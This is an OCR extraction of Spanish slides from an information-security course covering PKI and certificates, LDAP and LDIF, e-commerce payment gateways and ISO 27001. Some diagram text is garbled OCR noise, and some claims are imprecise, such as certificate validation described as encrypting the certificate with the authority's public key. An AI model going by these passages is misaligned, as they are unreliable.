] Certificados digitales: Los certificados son utilizados para autenticar una identidad de un usuario o sistema. Pueden
utilizarse también para almacenar determinada informacion relativa al mismo. El certificado mas empleado es X.509,
estandar de la ITU.
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i Public Key Infraestructure

Para realizar el proceso de cifrado, cada
estacion se inventa una pareja de claves
publica y privada.

P Ui%PyX*~'BAmg G
T R

!’osterlorn?ente, se procgde_ al 7 Encrypted message )
intercambio de claves publicas. Puede ser A‘ m
un intercambio en dos o en tres pasos.
_ALICE'S PUBLIC ENCRYPTION KEY | | ALICE'S PRIVATE DECRYPTION KEY
Para asegurar los servicios de no repudio - W -
y autenticacion fuerte, se requiere que la u |
clave haya sido entregada por una Plain text message Plain text message

entidad intermediaria, mediante la
autenticacion fehaciente del que recibe
las claves.

A estas claves se les da formato de
certificado digital (DNI), bajo el estandar
X.509
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i Public Key Infraestructure

Cuando una estacion dispone de X.509, puede ser autenticada preguntando a la entidad que
le ha entregado el certificado:

- Departamento de seguridad de la empresa

- Fabrica Nacional de Moneda y Timbre

- Verisign

- Etc.

Se cifra el certificado presentado (clave publica) con la clave publica de la entidad de
referencia (conocida), y se le hace llegar. En el retorno, confirma o desmiente el haber
emitido ese certificado.

Un mensaje firmado (cifrado) con el certificado digital tiene la misma validez legal que una
firma manuscrita en presencia de un notario, y mas seguridad que ésta ultima.

El certificado puede entregarse en un fichero, en un token, en una tarjeta, etc.

El usuario asume responsabilidad legal de su utilizacion
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Ciclo de vida de los certificados

1 Generaciéon: Puede ser centralizada o distribuida:

U Distribuciéon: Key Exchange Algoritm (KEA) negocia una clave secreta entre las dos partes usada solamente para la distribucion. La llave
privada se distribuye manualmente. La llave privada necesita proteccion total, tanto a nivel l6gico como fisico.

Ll Key scrow: Es el almacenado de las claves publicas y privadas de modo que estén disponibles para aspectos legales.

Ll Expiracién: Un certificado expira cuando lo indica su fecha de expiracion, indicada en el momento de creacion del certificado. A partir de
ese momento, el certificado no es valido.

Ll Revocacién: La CA puede revocar un certificado por ejemplo porque su seguridad se ha visto comprometida. Una vez que un certificado ha
sido revocado no puede volver a utilizarse nunca.

Ll Suspensién: La CA puede suspender temporalmente la validez de un certificado. Por ejemplo, durante una ausencia temporal de un
trabajador.

U Recuperacion y archivado: consiste en el almacenado de certificados viejos para que la informacion que haya sido cifrada con ellos pueda
ser recuperada.

Ul Renovacion : Es el proceso de asignar un nuevo certificado a una entidad cuando su propio certificado esta a punto de expirar.
Ll Destruccion : Es el proceso de destruir fisicamente los certificados no valido
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i Firma electronica

Creando v verificando una firma digital

Ealenlar Encriptar el codizo hash con la
cédize hath clave privada dal emisor
',-"'.-__-"‘. ﬁ

11311.--10101' |'1Q"r1.._1ﬂ1ﬂ11
Craacion de un

> documente firmade

digitalmenta (por el

SM1Z0T )
[ = Documente firmado |
b i digitalments |
e | (et |
— o l
p—— ey .
Dresencriptar la firma con Rmﬁ“;ﬂd‘} 13: i
Calenlar la clave poblica del emisor digital { por &l
codizo hash receptor)

?
I'FQ“H..-"ID'ID'1| é ]lﬂﬂ--."fg'tﬂ“tl

5t 2l codigo hash calculado no concuerda con el resultado de 1a firma digital desencriptada, o 2l
documento fue modificade deaspuss de hacer 1a firma_ o 1a firma no fue generada por 1a clave privada del 226
emizor del documento
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i Introduccion

= A medida que se incrementa el uso de las TIC, la gestion
centralizada de los diversos sistemas se vuelve compleja:
= (Cada sistema tiene sus propios servicios de seguridad
= Su identificacion es compleja
= ¢Como sabes donde hay una impresora?

= ES necesario disponer de un lugar donde puedas consultar todo lo
que necesitas en relacion a la red, e idealmente cumplir:
=« Funcionalidad
« Facilidad de uso
= Administracion simple y segura
= Informacion clara y consistente
= Integridad
= Confidencialidad
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i Directorio

= Guia telefonica
= DNS

= Listas de contactos, direcciones...

= Para identificar...

= Personas y cuentas
= Maquinas
Departamentos

= Salas
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i Directorio

= Tanto la consulta como la respuesta son breves y concisas
= Funcionalidad limitada frente a una base de datos relacional
= Pocos cambios en la informacion almacenada

= Capacidad de responder rapidamente a consultas concretas
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¢Base de Datos?

LDAP es un tipo de base de datos, pero no es una base de datos relacional. No
esta disenada para procesar cientos o miles de cambios por minuto como los
sistemas relacionales, sino para realizar lecturas de datos de forma muy
eficiente.

¢Por qué no utilizar una base de datos de proposito general?

Excesivas
= Demasiado pesadas

Insuficientes

= Dificultad de normalizacion (Codd)
= Falta de normalizacion (estandares)



i Directorio X.500

= X.500 es un estandar de 1988 del CCITT

Organiza entradas de directorio de
un modo jerarquico

Tiene potentes mecanismos de
busqueda

Define un protocolo (DAP,
Directory Access Protocol) para
acceso a la informacion del
directorio

Necesita protocolos OSI (no
soporta IP)

Demasiado pesado para entornos
pequenos o medianos

root

countries

organizations

organizational
units

individuals
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Software
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/
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i LDAP

= LDAP (Lightweight Directory Access Protocol) es un protocolo
ligero para acceso a directorio X.500 (mas ligero que DAP)

= Permite leer, buscar, anadir, borrar y modificar informacion
contenida en un directorio.

= LDAP se monta sobre TCP/IP y otros protocolos

= La especificacion (en varias RFC’s) define el contenido de los
mensajes entre el cliente y el servidor

= Con el tiempo, se ha desarrollado un nuevo tipo de directorio,
llamado directorio LDAP, mas ligero que X.500, es el mas
empleado hoy



i Directorio LDAP

El directorio LDAP tiene un estructura jerarquica de objetos:

Cada objeto se denomina entrada (persona, impresora, etc)
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Cada entrada tiene una serie de atributos (nombre, teléfono, foto, etc)

Los atributos son de un tipo concreto y tienen valores

Cada atributo puede ser un subtipo de otro (herencia simple)

Entry

1 Attrlbute ‘
‘\

Attribute

! i
y Walue ;

-
-
e -

e D

i
’
f 1
1 Value
I
2 TSN
-\'\.
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i Jerarquia

= Cada entrada tiene un Nombre Distinguido (DN) Unico y propio

= El DN esta formado por un atributo (nombre y valor) de la entrada y de las
entradas jerarquicamente superiores, hasta el root. Cada elemento es un RDN
(Relative Distinguished Name)

C=US

*
- .
* Q‘
* *
* *
* *
* .
* .
* *
* *
‘0 Y
N

CN=Dave Hollinger

CN=Dave Hollinger,OU=Computer Science,0=RPI,C=US



www.francisco-valencia.es

Clases de objetos (objectClass)

Todas las entradas deben pertenecer al menos a una clase, aunque pueden pertenecer a varias

Se define con el atributo objectClass (obligatorio)

La objectClass indica la(s) clases a las que pertenece

Cada clase debe estar definida en el esquema y definir:
= Atributos requeridos
= Atributos opcionales
= Tipos de atributos (Sintaxis, reglas de comparacion, etc)

= Otras informaciones

Cada clase puede derivarse de otras clases (herencia)
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i Clases de objetos (objectClass)

= Ejemplos de objectClass:

= Organization
= Name
« address

= Person
= Name
« Email
=« Phone
« Address
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i Esquema

= El esquema debe poder ser completamente leido por el
cliente, y define las clases de objetos permitidas
(objectClass) y para cada una de ellas:
= Donde son almacenadas
= Atributos obligados
= Atributos opcionales
= Tipo y sintaxis de cada atributo

= Pueden definirse nuevos objectClass, definiéndolos en
el Esquema, y con cuidado de que siempre sean
empleados del mismo modo.



i Esquema

Cada atributo tiene la definicion de sintaxis que
le corresponde. La definicion de sintaxis
describe el tipo de informacion que proporciona
ese atributo:

= bin binario

= ces cadena con mayusculas y minusculas
exactas (las mayusculas y minusculas son
significativas durante las comparaciones)

= Cis cadena con mayusculas y minusculas
ignoradas (las mayusculas y minusculas
no son significativas durante las
comparaciones)

= tel cadena de nimero de teléfono (como
cis, pero durante las comparaciones se
ignoran los espacios en blanco y los
guiones"_")

= dn "distinguished name" (nombre
distintivo)

= boolean cierto/falso, si/no, on/off
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EJEMPLO:
objectClass organizationalPerson
requires
sn
cn

allows
description
telephoneNumber
seealso
userpassword

attribute sn cis

attribute cn cis

attribute organizationalPerson cis
attribute description cis

attribute telephonenumber tel
attribute seealso cis

attribute userpassword ces



Atributos

Los atributos pueden tener
cualquier combinacién ASCII

Se suelen utilizar algunos
geneéricos, ya integrados en
aplicaciones comerciales

La tabla representa sélo algunos de
los mas comunes

Cada atributo puede tener varios
valores:

= Mail: user@empresa.es

= Mail: user@personal.es

www.francisco-valencia.es

Attribute Type String
CommonName CN
LocalityName L
StateorProvinceName ST
OrganizationName O
OrganizationalUnitName Oou
CountryName C
StreetAddress STREET
domainComponent DC
Userid UID
Mail MAIL
PhoneNumber PHONE




Formato LDIF

Para importar y exportar informacion de
directorio entre servidores de directorios
basados en LDAP, o para describir una serie
de cambios que han de aplicarse al
directorio, se usa en general el fichero de
formato conocido como LDIF (formato de
intercambio de LDAP).

Un fichero LDIF almacena informacion en
jerarquias de entradas orientadas a objeto.
Todos los servidores LDAP que incluyen una
utilidad para convertir ficheros LDIF a
formato orientadas a objeto.

Normalmente es un fichero ASCII.
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dn: uid=valencia,ou=profesores,dc=empresa,dc=com
objectclass: person

objectclass: organizationalPerson
objectclass: inetorgPerson

uid: valencia

givenname: Francisco

sn: Valencia

cn: Francisco Valencia

telephonenumber: 91 234 90 12
mailRoutingAdress: valencia@empresa.com
userpassword: Valencial
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i Protocolo LDAP

LDAP puede utilizarse como un
protocolo de acceso a un
directorio X.500, o como un
protocolo de acceso a un
directorio LDAP (mas normal en
la actualidad).

DAP (Directory Access Protocal)
#
(hased on Q51 Protocal Stack)

X.500-Client X.500-Server
Conexion a través del puerto =
LOAR DAF
TCRIP k]
Funcionamiento asfncrono LDAP-Client LDAP-Gateway X.500-Server
g)‘]u(?(()jlg ggb:gr nggspeassta%eat;c):lones LDAP (Lightweight Directaory Access Protocalh
#
TCRIP
LDAP-Client LDAP-Server

Puede existir una réplica del
directorio en la aplicacion
cliente, aumentando la
velocidad de las respuestas.
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i Operaciones LDAP

AUTENTICACION

= BIND: Inicio de sesion y autenticacion

= UNBIND: Fin de la sesion

= ABANDON: Se pide al servidor que deje de procesar una operacion solicitada anteriormente

= QUERY

= SEARCH: Busca en el directorio y devuelve cero o mas entradas.

= COMPARE: Permite verificar si una entrada cumple cierta condicion

= UPDATE

= ADD: Crea una entrada nueva. El padre del DN debe existir
= DELETE: Borra una entrada. Normalmente debe ser terminal
= MODIFY: Permite anadir, eliminar o borrar los valores de una entrada

= RENAME: Permite cambiar el nombre de una entrada. En V3 puede cambiarse el padre
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i Seguridad LDAP

Identificacion (Quien accede debe ser una entrada del directorio)
Autenticacion (userpassword, kerberos, SASL, certificados digitales)
Autorizacion (Listas de acceso basadas en atributos)
Confidencialidad (TLS)

Application(s)
(WWW, POPF, SMTP, E-Mail)

Application Protocols

Network Protocols

Security Layer (SSL/TLS)

TCP/IP Layer
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i Practica

= Crear un directorio con las siguientes entradas y diversa informacion de cada una de ellas:
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i Aplicaciones

Autenticacion centralizada
= Autorizacién (politicas de seguridad basadas en individuos, roles, atributos, etc)
= Listado de direcciones de correo

= Encontrar el certificado digital de alguien (PGP, S/MIME)

= Libreta de direcciones y teléfonos
= Listas de Distribucion de correo

= Verificacion de firma digital

= Integracion de todos los recursos de la organizacion (salas de reuniones, personas, etc.
= Sistemas de control de acceso a edificios, salas, etc

= Sistemas de autenticacién basados en RADIUS / TACACS

= Gestion de carpetas en servidores de ficheros

= Single Sing-On

= Almacén de perfiles para entornos de movilidad o roaming

n Etc...
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Integracion LDAP en una arquitectura de seguridad
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Practica: Autenticacion APACHE con LDAP

Profesor con identificacion
valida: Autorizado para ver
la WEB publica y la
privada

Alumno con identificacion
valida: Autorizado para ver
la WEB publica

Acceso sin identificacion
valida: No autorizado a ver
nada

LDAP SERVER

Servidor WEB APACHE
con contenidos de distinto
nivel de seguridad

i



Seguridad en el Comercio Elect*™6nito™

Introduccion y conceptos de seguridad
Ataques en los sistemas TIC
Seguridad en entornos WEB
Ingenieria Social
Practica: Ataques basicos
Seguridad en Redes de Area Local
Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral
Practica: Implementacion de politicas de seguridad Perimetral
. Infraestructuras de clave publica
. Introduccién a LDAP
. Seguridad en el Comercio Electrénico

B Q00 N 9 OlERRINNES

Definicion de comercio electronico
Caracteristicas

Clasificacion y tipos de comercio electronico
Elementos necesarios

Ventajas e inconvenientes

Problemas de seguridad en el comercio electronico
E-CRM

Medios de pago

=]

Pasarela o TPV virtual

Otros medios de pago

Legislacion

Conclusién

1.
2.
3.
4.
5.
6.
1.
8.
9.

13. Gestién de la seguridad
14. Plan Director de Seguridad
15. Examen CompTIA Security+
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Comercio Electronico

= Sistema global que, utilizando redes informaticas y en
particular Internet, permite la creacion de un mercado
electronico y a distancia de todo tipo de productos,
servicios, tecnologias y bienes, y que incluye todas las
operaaones necesarias para concretar operaciones de
compra y venta, incluyendo marketing, negociacion,
informacién de referencia comeraa intercambio
documentos, acceso a la informacion de servicios de
apoyo (aranceles seguros, transportes, ...) el pago, y
todo en condiciones de segurldad y confidencialidad
necesarios
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iCaracterl'sticas del Comercio Electronico

= Participan todo tipo de individuos, conocidos o
desconocidos, ya sea personas fisicas o entidades
publicas o privadas

= Mercado potencialmente infinito (expansion
ilimitada)

= Necesidad utilizar métodos de seguridad
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Clasificacion del Comercio Electronico

: Es aquel en el cual tanto el
pedido como el pago y el envio de los blenes mtanglbles 0
tangibles y/o servicios inclusive, se producen ‘on-line’, como
es el caso de transacciones u operaciones vinculadas con
viajes, venta de entradas (teatros, conciertos, etc.), software,
toda la rama de entretenimientos (musica, Juegos apuestas),
servicio de banca, venta de mmuebles asesoria legal,
consejos de salud, temas de educacion y servicios por parte
del Gobierno.

Consiste en adquirir bienes
tangibles que necesitan Iuego ser enviados fisicamente,
utilizando para ello los canales o vias tradicionales de
distribucion.
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Clasificacion del Comercio Electronico

B2C: Business to Consumer

B2B: Business to Business

C2C: Consumer to Consumer

C2B: Consumer to Business

A2B: Administration to Business

A2C: Administration to Consumer

A2A: Administration to Administration (e-goverment)
P2P: Peer to Peer

B2E: Business to Employee



i Elementos necesarios

PRESENCIA:

SERVICIO/PRODUCTO OFRECIDO:

WEB informativa
WEB corporativa...

www.francisco-valencia.es

= Especialmente importante el Valor afiadido, por la mayor competencia y mayor facilidad de

comparacion

TRANSACCION

Medios de pago
Facturacion
Impuestos
Seguridad

SERVICIO:

Formas de envio
Plazos de entrega
Garantia
Devolucion
Proteccion de datos
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i Ventajas e inconvenientes

= VENTAIJAS

Rapidez en la transaccion

Reduccion de costes

Desaparicion de intermediarios

Mayor capacidad de acceso al mercado

Mayor facilidad de localizar el producto deseado
Independencia del tamano o de los activos de la empresa
Presencia internacional inmediata

= INCONVENIENTES

Dificultad en identificar a las partes
Riesgos de seguridad

Las transacciones no quedan registradas
Dificultades probatorias de los negocios
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Relaciones entre comprador y vendedor

Advertisment Electronic Market Information——
Marketplace
Catalogue store )
Price list update —> Catalogue SerVICe9—Product Infoj

4

SELLER [«—Orders/ Invoices—< Party t(.) Party ><7Orders / Invoices—» BUYER
Services

L J A
Freight bill /Waybill—»‘—Waybill

Payment order Credit advice

VAT report / Custom Decl. VAT report / Custom Decl.
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Problemas de seguridad en el comercio electrénico

Proteccion juridica

Sensacion de
proteccion
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i Aspectos tecnologicos

o Seguridad en el almacenamiento de datos
° Frente a destruccion
° Frente a intrusos

o Seguridad en la transmision de los datos
° Integridad
* Privacidad
 No repudio
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i Mecanismos Electronicos de Pago

= [ransacciones realizadas por Internet, pero pago
de forma externa

s SWIFT (Society for World-Wide Interbank
Communication): Red privada interbancaria para
transacciones financieras digitales entre bancos.

s Pagos en red a través de Tarjetas de Crédito o
Transferencias de Dinero (TPV Virtual)

= Surgimiento de los Intermediarios Electronicos y
Cheques Digitales (Paypal, Mobipay, etc)
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EDI (Intercambio Electronico de Datos)

Transmitir electronicamente documentos comercialesy
administrativo-contables (pedidos, facturas, etc.) entre aplicaciones

Envio de documentos es en un formato normalizado de manera que
se pueda procesar automaticamente

Debe garantizarse la integridad, confidencialidad y no repudio

Protocolos utilizados habitualmente:
= UN / EDIFACT

ANSI / X.12

X.400

FTP

S/MIME

WWW
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i e-CRM (Customer Relation Management)

s Gestion Electronica de las Relaciones con Clientes

= Hacer electronicamente lo que hace un vendedor de
tienda (recordarte, conocerte, trato personalizado)

= Es posible analizar a cada usuario que se conecta y
memorizar sus datos. De esta manera se tiene mas
control del cliente.

= Las cookies

= Los web bugs

=« Los data spills

= Los ficheros .log
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e-CRM (Customer Relation Management)

Cookies
= Fichero de texto que se escribe en el disco duro del cliente a peticion del servidor.
= Contiene informacion sobre lo que hemos hecho en ese servidor.

= El fichero puede volver a ser leido por el servidor en cualquier momento que nos
conectemos.

WEB BUGS

= Permiten a los servidores saber que paginas visitd un usuario

= Es un grafico equefio (1 pixel) y transparente que esta oculto en las paginas webs.
Actuan como los “microfonos” ocultos.

= Junto con las cookies permite recolectar los habitos de navegacion
Data spills
= Son una manera de enviar informacion a un servidor

= Si un banner publicitario tiene un data spill estaremos enviando informacion como
direccion de e-mail, palabras que buscamos en un buscador, etc. y SIN SABERLO!

LOGS

= Los ficheros .log es un fichero que esta en el servidor que registra todos los accesos
de los usuarios

= Almacena fecha, hora, direccion IP del que esta viendo la pagina web, qué paginas
esta viendo, etc.
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Medios de pago utilizados en Internet

Medios de pago utilizados en Internet

Tarjeta de crédinidébito | 483

Contra reembolso 4.7

Translerencia Dancaris 1534

Domicikacion bancaria | 1.3
Tarieda PayPal | 0,7

Ciros tpos de terjetazs | 05
fros | 08

Nsc |02

Fueme REDES fAECE
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i Pasarela de pago o TPV Virtual

= Cliente compra mediante alguna aplicacion de e-commerce

= La aplicacion redirigirse al sitio web del banco indicando el importe
= El niUmero de tarjeta de credito viaja encriptado al banco

= El banco comprueba validez de la tarjeta y realiza el cobro en la
cuenta del vendedor

= El banco redirige a la aplicacion de comercio electronico indicando
si se pudo hacer el cobro
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i Pasarela de pago o TPV Virtual

= VENTAJAS

= El nimero de tarjeta viaja codificado

=« El vendedor debe tener una cuenta en el banco
= Banco verifica autenticidad y fondos

= El cobro se ingresa al instante

= Cobrar a clientes de cualquier lugar

= DESVENTAIJAS

= Las comisiones por este sistema de cobro suelen ser mas
altas que comprando fisicamente

= Posibilidad de reclamaciones
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Esquema de pago con tarjeta

El cliente navega: pide paginas y la tienda se las sirve. Selecciona articulos.

\ 4

A

[ ] i
Banco emisor

WSA de la tarjeta

| oo T |

n]a Caixan B e =



Esquema de pago con tarjeta
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El cliente le dice a la tienda que va a comprar. Rellena formulario y elige el pago
con tarjeta de crédito.

\ 4

A

Todamadgar o
- e

R
e T T

VISA

| oo T |
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Esquema de pago con tarjeta

La tienda le pide confirmacion y el cliente acepta (REQUERIMIENTO LEGAL)

La tienda genera un identificador unico para esa transaccion

v

A

[y r————
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Esquema de pago con tarjeta

La tienda contacta con su TPV virtual y le manda los datos necesarios para
realizar la transaccion (numero generado, importe).

Manda al cliente a la WEB de la pasarela, para solicitar el pago del pedido
con el numero unico generado

E—
VISA
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Esquema de pago con tarjeta

El cliente rellena los datos que el TPV le pide y confirma.
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Esquema de pago con tarjeta

El TPV contacta con el emisor de la tarjeta, y le hace entrega de los datos de la
operacion.

El emisor aprueba o deniega el pago, y realiza la transferencia.
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Esquema de pago con tarjeta

El TPV informa a la tienda que la operacion ha sido aceptada con el codigo de
autorizacion Z y le “devuelve” al cliente.
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Esquema de pago con tarjeta

La tienda manda al cliente una pagina web y un email con la factura y el
comprobante de la operacion con tarjeta (o lo que tenga programado
una vez realizado el pago)

A
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Como proporciona el banco el TPV a la tienda

: Por un lado, existe un contrato idéntico al que
" suscriben los comercios no virtuales.

— El' banco aporta el TPV y documentacion. abona las
transacciones al dia siguiente.

4, g
Postb.biotech f
Postb.com tech f
Postb.duurz aandf
Postb.easy bluefd
Postb.eur aandf

— El comercio:

YowJones - : .
e — + Soporta las comisiones pactadas. Diferentes segun

sean tarjetas propias o ajenas.

» Se obliga a controlar la identidad y la firma, obtener
autorizacion del TPV y entregar justificante.

Robzolfspropery T G » Debe aceptar la retrocesion de los abonos cuando no

Rob zelfs.soft&ser

Rob zelfs.telecorm ‘ haya autorizacion, falte la identificacion o no sea
auténtica la firma.




www.francisco-valencia.es

Como proporciona el banco el TPV a la tienda

Postb.com f
Postb.duurz aandf
Postb.easy bluefd
Postb.eur aandf

Rob zalfs:pro e
Rob zelfs.softp&:eyr
Rob zelfs.telecom

Las devoluciones a los clientes se deben
canalizar a través del banco, en forma de
abonos en sus tarjetas de crédito.

La venta a través de internet se considera venta
a distancia, a los efectos de la aplicacion del
articulo 46 de la L 7/96 de Ordenacioén del
Comercio Minorista.
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Otros medios de pago

TARJETAS DE CREDITO DE CADENAS DE DISTRIBUCION.

CONTRAREEMBOLSO.

TRANSFERENCIA.

CUENTA DE CREDITO.

PAGOS A TRAVES DE E-INTERMEDIARIOS PARAFINANCIEROS: PAYPAL,
GOOGLE CHECKOUT...

PAGO CON TELEFONO MOVIL por SMS

PAGO CON TELEFONO MOVIL MOVIPAY

FORMULAS DE PREPAGO
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Legislacién aplicable

Se trata de una operacion sometida a la Ley de
Ordenacion del Comercio Minorista, en concreto
al capitulo que regula la venta a distancia.

Otras normas aplicables: LSSI, LOPD, PClI,
SOX, Ley de Firma electronica, etc...

*Plazo de ejecucion y pago. *Derecho de desistimiento.
—Plazo de ejecucion del pedido en un —El comprador tienen ese derecho durante 7 dias.
maximo de 30 dias. —No esta sometido a formalidad alguna.
—Solo se podra exigir el pago —No caben penalizaciones, aunque el comprador debera pagar el
anticipado en pedidos envio de vuelta e indemnizar por los desperfectos del producto.

“‘personaliz : i ' Te
personalizados —Excepciones: valores con precio fluctuante, intervencion de

fedatario o articulos “pirateables”, de higiene personal u otros...



DESPUES DEL PEDIDO

I 2
NE= Fact. Fecha (o b B
-MADRID
Referencia / Pedido Adg.
b
N.I
Albaran Material Unid. Precio Dto Importe
Quitar papel atascado en
el rodille de la impresora
instalada en
MANC DE OBRA 1,00 Hrs. 37,00 7,00
DESPLAZAMIENTO: 8,00 ¢ 37,00 296,00
KILOMETROS 600 Kms. 0,27 162,00
|
Suma: 495,00
EUROS
| Base T.V.A: RT.V.A- I-V.A: TOTAL
495,00 16 79,20 574,20

Forma de pago:
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Justificante web / Email

Factura electrénica.

Avisos de entrega por Email / SMS
Seguimiento de pedidos
Seguimientos de transportes
Factura en papel

Talon de devolucion.

Tarjetas de regalo.
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i Otros modos de realizar pagos

Cada servicio prestado por la pasarela y cada pago
aprobado por el emisor de la tarjeta cuestan dinero.

Las empresas con tratos bilaterales acuerdan pagos por
remesas

Utilizado so6lo en modo B2B y A2x

Utilizado como medio de pago entre bancos
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Problemas de seguridad en el comercio electronico

| Fay an amplia desarrollo legal en la UE g otros

Las encuestas y el acelenado anmento del
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i Aspectos tecnologico

>
o Segurldad en el alr“"""““m PN SIS

olucion: Antivirus ¢ coliias de
° Frente a destrucmon e

® Frente a intrusos

o Seguridad en la transmision de los datos
® |ntegridad
* Privacidad
* No repudio
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i Aspectos tecnoldgicos

o Seguridad en el almacerte
° Frente a destruccion —_—

o Frente a intrusos Selwcion: Fiewalls y otrac |

o Seguridad en la transmision de los datos
® |ntegridad
* Privacidad
* No repudio
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i Aspectos tecnoldgicos

o Seguridad en el almacenamiento de datos
° Frente a destruccion
° Frente a intrusos

o Seqguridad en la transmis@?de los datos

o Integridad Solucidn: Funcionee Fach I

° Privacidad
* No repudio
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i Aspectos tecnoldgicos

o Seguridad en el almacenamiento de datos
° Frente a destruccion
° Frente a intrusos

® |ntegridad

° Privacidad  gupuiin: @laves asimétricas
 No repudio |
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Gestion de la seguridad

Introduccion y conceptos de seguridad

Ataques en los sistemas TIC

Seguridad en entornos WEB

Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral

Practica: Implementacion de politicas de seguridad Perimetral
. Infraestructuras de clave publica
. Introduccion a LDAP
. Seguridad en el Comercio Electrénico
. Gestion de la seguridad

1.
2.
3.
4.
S.
6.
7.
8.
9.

Sistema de Gestion de la Seguridad de la informacion (SGSI)
Clasificacion y control de acceso a la informacion
Securizacion de aplicaciones

Auditoria de Seguridad

14. Plan Director de Seguridad
15. Examen CompTIA Security+
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SGSI

T Vulnerabllidades
Aprovechan

Protegen
de
Exponen
Aumentan Aumentan

Disminuyen
e Higgggﬂ

Requerimientos

Valor de los

de seguridad aActivos

Fusnie: wiw, 1500700008
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i SGSI

J El SGSI (Sistema de Gestion de Seguridad de la Informacién) es un Sistema cuyos fines son la
planificacion, ejecucién, verificacion y mejora continua de un conjunto de controles y medidas tanto
técnicas, de procedimientos y organizativas que permitirdn reducir el riesgo de Seguridad en las
Organizaciones Yy, sobre todo, dotarlas de un esquema de gestion de los procesos de seguridad. Es el
concepto central sobre el que se construye ISO 27001

] La gestion de la seguridad de la informacién debe realizarse mediante un proceso sistematico,
documentado y conocido por toda la organizacion.

) Garantizar un nivel de proteccién total es virtualmente imposible, incluso en el caso de disponer de un
presupuesto ilimitado.

J El propdsito de un sistema de gestion de la seguridad de la informacién es, por tanto, garantizar que los
riesgos de la seguridad de la informacion sean conocidos, asumidos, gestionados y minimizados por la
organizacion de una forma documentada, sistematica, estructurada, repetible, eficiente y adaptada a los
cambios que se produzcan en los riesgos, el entorno y las tecnologias.
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i Metodologia PDCA

= Metodologia PDCA (Plan Do Check Act)
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i Metodologia PDCA

PLAN DO

= Definir el Alcance del SGSI = Definir e Implantar el Plan de Gestidn de Riesgos
= Definir la Politica del SGSI = Implantar los controles seleccionados
= Identificar los Riesgos = Implantar los procedimientos y otros documentos de gestion

= Gestionar los Riesgos
= Seleccionar los Controles
= Desarrollar procedimientos y otros documentos de gestion

ACT CHECK

= Implantar las Mejoras = Desarrollar procedimientos de monitorizacion
= Adoptar acciones correctivas y Preventivas = Revisar regularmente el SGSI
= Comunicar acciones y Resultados = Revisar los Niveles de Riesgo

= Verificar que las mejoras cumplen su objetivo = Auditar internamente el SGSI
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i Metodologia PDCA

J La ISO 27001:2005 “Information Technology Security Techniques” es la evolucién certificable del cédigo
de buenas practicas ISO 17799

J Adoptar ISO 27001 implica la adecuada implantacion, gestion y operacion de todo lo relacionado con la
implantacion de un SGSI, siendo la norma mas completa que existe en la implantaciéon de controles,
meétricas e indicadores que permiten establecer un marco adecuado de SGSI en una organizacion.

) Se divide en 11 dominios, que suponen 39 objetivos de control y 133 controles

BS 7799 PARTE 1 BS 7799 PARTE 2 ISOEC 17799 ISSHIE L 21001
Codigo Buenas Practicas Revision Partes 1y 2 Revision Parte 2 Parte 2 se ?g‘?_lt_? como SO
BS 7799 PARTE 2 ISONEC 17799 Parte 1 ISONEC 17799
Especificacion SGSI se adopta como ISO Revision (JUN)

1995 || 1996 || 1997 || 1998 || 1999 || 2000 || 2001 || 2002 || 2003 || 2004 || 2005 || 2006 || 2007 || 2008
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AREAS DE 1SO 27001

U Security policy: Proceso para evaluar expectativas de seguridad y demostrar que existe un comité de seguridad apoyado por la direccion.

U Organization and information security: Se proporciona una estructura que demuestra la existencia de un responsable de seguridad, con funciones
asignadas.

U Asset Management: Existe un proceso de inventariado de los sistemas TIC y la informacién de la empresa, con indicacion de quien es el responsable
de los mismos, y en qué nivel de seguridad deben encontrarse.

L Human resources security:  Evalla la gestion de los recursos humanos en su implicacion con la seguridad (formacién, contratos, etc)

U Physical and environment security: Demuestra la existencia de un plan de seguridad fisica, red y empleados que tienen que ver con ella (copias de
backup, etc)

J Communications and operations Management: Demuestra la existencia de un plan con sistemas preventivos (como antivirus), un sistema de
monitorizacion, logs, seguridad en las comunicaciones, y u plan de respuesta a incidencias (IRP).

U Access control:  Mecanismos de proteccién ante intrusos externos e internos (passwords, autenticacion, etc)

U Information Systems acquisition, development and maint enance: Mide las inversiones y recursos dedicados a las TIC en cuanto a renovaciones,
actualizaciones y mejoras del parque de software y hardware.

U Information security incident Management: Define la existencia de un IRP, y lo indicado en el mismo en cuanto a acciones a tomar, escalados, etc.

U Business continuity Management (BCM): Demuestra la existencia de planes de continuidad de negocio ante incidentes de todo tipo (por ejemplo
naturales, terrorismo, informaticos, etc).

Ll Compliance: Demuestra el cumplimiento de aspectos legales, regulatorios, etc. 291
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AUTODIAGNOSTICO ISO 27001

) POLITICAS DE SEGURIDAD
L] Existen documentos de politicas de seguridad de Sl
L] Existe normativa relativa a la seguridad de los S
L] Existen procedimientos relativos a la seguridad de Sl
[] Existe un responsable de las politicas, normas y procedimientos
L] Existen mecanismos para la comunicacion a los usuarios de las normas
L] Existen controles regulares para verificar la efectividad de las politicas

) ORGANIZACION DE LA SEGURIDAD
Ll Existen roles y responsabilidades definidos para las personas implicadas en la seguridad
L] Existe un responsable encargado de evaluar la adquisicién y cambios de Sl
Ul La Direccion y las areas de la Organizacion participa en temas de seguridad
L] Existen condiciones contractuales de seguridad con terceros y outsourcing
L] Existen criterios de seguridad en el manejo de terceras partes
L] Existen programas de formacion en seguridad para los empleados, clientes y terceros
L] Existe un acuerdo de confidencialidad de la informacién que se accede.
L] Se revisa la organizacion de la seguridad periédicamente por una empresa externa

) ADMINISTRACION DE ACTIVOS
(] Existen un inventario de activos actualizado
Ul El Inventario contiene activos de datos, software, equipos y servicios
L] Se dispone de una clasificacion de la informacién segin la criticidad de la misma
L] Existe un responsable de los activos
L] Existen procedimientos para clasificar la informacion
L] Existen procedimientos de etiquetado de la informacion
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) SEGURIDAD DE LOS RRHH
L] Se tienen definidas responsabilidades y roles de seguridad
L] Se tiene en cuenta la seguridad en la seleccion y baja del personal
L] Se plasman las condiciones de confidencialidad y responsabilidades en los contratos
L] Se imparte la formacion adecuada de seguridad y tratamiento de activos
L] Existe un canal y procedimientos claros a seguir en caso de incidente de seguridad
L] Se recogen los datos de los incidentes de forma detallada
U Informan los usuarios de las vulnerabilidades observadas o sospechadas
(] Se informa a los usuarios de que no deben, bajo ninguna circunstancia, probar las vulnerabilidades
L] Existe un proceso disciplinario de la seguridad de la informacién

) SEGURIDAD FiSICA Y DEL AMBIENTE
L] Existe perimetro de seguridad fisica (una pared, puerta con llave).
L] Existen controles de entrada para protegerse frente al acceso de personal no autorizado
